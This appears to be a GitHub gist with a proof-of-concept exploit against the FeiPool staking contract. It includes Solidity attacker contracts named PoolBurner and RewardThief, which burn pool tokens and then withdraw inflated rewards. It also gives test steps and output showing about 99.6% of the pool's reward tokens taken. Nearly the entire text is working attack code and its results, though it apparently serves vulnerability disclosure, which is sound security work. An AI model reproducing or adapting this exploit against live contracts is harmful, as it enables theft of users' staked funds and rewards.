Skip to content

Instantly share code, notes, and snippets.

@jcarpanelli

jcarpanelli/reward-steal-exploit.md Secret

Last active Apr 9, 2021
Embed
What would you like to do?

Paste the following contract file in the contracts/mock directory:

RewardThief.sol

pragma solidity ^0.6.0;

import "@openzeppelin/contracts/token/ERC20/ERC20.sol";
import "../pool/FeiPool.sol";
import "../external/SafeMathCopy.sol";

contract Depositer {
    Pool public feiPool;

    constructor(address _feiPool) public {
      feiPool = FeiPool(_feiPool);
    }

    function depositTokens(uint256 _amount) external {
      ERC20 stakedToken = ERC20(address(feiPool.stakedToken()));
      stakedToken.increaseAllowance(address(feiPool), _amount);

      feiPool.deposit(address(this), _amount);
    }
}

contract PoolBurner is Depositer {
    using SafeMathCopy for uint256;

    RewardThief public rewardThief;

    event BurnedAndStolen(uint256 burnedAmount, uint256 stolenAmount);

    constructor(address _feiPool, address _rewardThief) Depositer(_feiPool) public {
      rewardThief = RewardThief(_rewardThief);
    }

    function burnAndSteal(address _beneficiary) external {
        uint256 totalRedeemablePoolTokens = _totalRedeemablePoolTokens();
        uint256 amountToBurn = totalRedeemablePoolTokens.sub(1);

        feiPool.burnFrom(address(this), amountToBurn);
        uint256 stolenAmount = rewardThief.stealRewards(_beneficiary);

        emit BurnedAndStolen(amountToBurn, stolenAmount);
    }

    function _totalRedeemablePoolTokens() private view returns(uint256) {
        uint256 totalSupply = feiPool.totalSupply();
        uint256 remainingTime = feiPool.remainingTime();
        uint256 totalStaked = feiPool.totalStaked();

        return totalSupply.sub(remainingTime.mul(totalStaked));
    }
}

contract RewardThief is Depositer {

  constructor(address _feiPool) Depositer(_feiPool) public {}

  function stealRewards(address _beneficiary) external returns(uint256) {
    (, uint256 rewards) = feiPool.withdraw(_beneficiary);

    return rewards;
  }
}

Then, at the beginning of FeiPool.test.js, paste:

const RewardThief = contract.fromArtifact('RewardThief');
const PoolBurner = contract.fromArtifact('PoolBurner');

Paste the following test inside the Initialized describe block in FeiPool.test.js:

describe('exploit', function() {
  beforeEach(async function() {
    // add more tribe tokens to match production numbers (20% of total supply)
    await this.core.allocateTribe(this.pool.address, 199900000, { from: governorAddress });

    // mint tokens and deposit them in the pool to simulate that there are tokens in the pool from other users
    this.fei.mint(governorAddress, 100000, { from: minterAddress });
    this.fei.approve(this.pool.address, 96409, { from: governorAddress });
    await this.pool.deposit(governorAddress, 96409, { from: governorAddress });

    // mint more tokens to userAddress (1000 in total)
    this.fei.mint(userAddress, 900, { from: minterAddress });
  });

  it.only('steals rewards', async function() {
    const rewardThief = await RewardThief.new(this.pool.address);
    const poolBurner = await PoolBurner.new(this.pool.address, rewardThief.address);

    // mint some FEI tokens for reward thief and pool burner
    this.fei.mint(rewardThief.address, 100, { from: minterAddress });
    this.fei.mint(poolBurner.address, 100, { from: minterAddress });

    // deposit tokens in RewardThief and PoolBurner contract
    await rewardThief.depositTokens(100);
    await poolBurner.depositTokens(100);

    // some times passes. The idea is to wait the until the numerator of the reward formula is near the remaining rewards (TRIBE) in the pool contract, to maximize profit
    await time.increase(560);

    const rewardsInPoolBefore = await this.pool.rewardBalance();
    console.log('rewards in pool before stealing:', rewardsInPoolBefore.toNumber());

    // burn and steal rewards
    const { logs } = await poolBurner.burnAndSteal(userAddress);
    const { args: { burnedAmount, stolenAmount } } = logs[0];
    const userRewardBalance = await this.tribe.balanceOf(userAddress);
    const rewardsInPoolAfter = await this.pool.rewardBalance();

    console.log('burned amount:', burnedAmount.toNumber());
    console.log('stolen amount:', stolenAmount.toNumber());
    console.log('user tribe balance:', userRewardBalance.toNumber());
    console.log('rewards in pool after stealing:', rewardsInPoolAfter.toNumber(), `(${ 100 - rewardsInPoolAfter.toNumber() /rewardsInPoolBefore.toNumber() * 100}% less)`);
  });
});

Finally, run npm run compile && npm run test. Output:

  Pool
    Initialized
      exploit
rewards in pool before stealing: 200000000
burned amount: 54197448
stolen amount: 199248000
user tribe balance: 199248000
rewards in pool after stealing: 752000 (99.624% less)
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment